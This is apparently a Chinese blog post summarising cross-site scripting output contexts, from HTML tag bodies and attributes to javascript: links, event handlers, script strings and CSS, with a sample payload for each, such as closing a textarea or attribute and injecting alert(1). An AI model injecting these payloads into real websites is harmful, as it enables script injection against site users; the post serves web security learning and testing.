美文网首页
【XSS】xss输出点总结

【XSS】xss输出点总结

作者: Pino_HD | 来源:发表于2017-10-18 11:32 被阅读0次

0x01 HTML标签之间

例如输出点:

<div id="body">[输出]</div>

直接提交<script>alert(1)</script>即可触发XSS,但是当标签是不能执行脚本的标签(总结http://www.jianshu.com/p/211f75b73520),那么就得先把那个标签闭合,然后在注入XSS语句,例如

</textarea><script>alert(1)</script>

0x02 HTML标签之内

例如输入点:

<input type="text" value="[输出]"/>

两种方法:

  1. 闭合属性,然后用on时间来触发脚本
" onmouseover=alert(1) x="
  1. 闭合属性后闭合标签,然后直接执行脚本
"><script>alert(1)</script>

还有一些特殊的场景:

<input type="hiden" value="[输出]" />

这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本

<input value="[输出点]" type="hidden"/>

但是这里可以输入

1" onmouseover=alert(1) type="text

输出变为

<input value="1" onmouseover=alert(1) type="text" type="hidden" />

这时候的输出就不再是隐藏表单了,而是标准输入框

再比如这两类场景:

  1. 输出在src/href/action等属性内,比如
<a href="[输出]">click me </a>

除了各种闭合标签外,还可以

javascript:alert(1)//
data:text/html;base64,(base64字符串)

前提是我们提交的payload必须出现在这些属性值的开头部分(data:协议的必须作为整个属性值出现,IE不支持)

对于javascript:alert(1)//来说,如果网站把注释符//过滤了,那么我们还可以用javascript逻辑与算数运算符,因为JavaScript是弱类型语言,字符串与字符串之间的各种运算是合法的,可以用

<a href="javascript:alert(1) - html">click me</a>
window.onerror=function(){return true;}    //抑制错误
  1. 输出在on*事件内,比如<a href="#" onclick="[输出]">click me</a>

on*事件是可以执行javascript脚本的。

0x03 成为Javascript代码的值

例如

<script>a="[输出]";...</script>

此时我们可以闭合标签</script><script>alert(1)//
也可以闭合a变量的值";alert(1);//

0x04 成为CSS代码的值

打开就是利用expression关键词来执行脚本

相关文章

  • 【XSS】xss输出点总结

    0x01 HTML标签之间 例如输出点: 直接提交 alert(1) 即可触发XSS,但是当标签是不能执行脚本的标...

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • XSS常见Paylaod

    XSS常见Payload总结 XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • test

    alert('xss')alert('xss') alert('xss')

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • 第三章 XSS 攻击

    要点 XSS 攻击 XSS 防护 一、 XSS攻击 XSS攻击 (Cross-Site Scripting,跨站脚...

  • XSS 与 CSRF 两种跨站攻击

    XSS XSS:跨站脚本(Cross-site scripting) XSS:脚本中的不速之客 XSS 全称“跨站...

  • 网络安全必学知识点之XSS漏洞

    xss漏洞小结 一、初识XSS 1、什么是XSS XSS全称跨站脚本(Cross Site Scripting),...

网友评论

      本文标题:【XSS】xss输出点总结

      本文链接:https://www.haomeiwen.com/subject/ffpsuxtx.html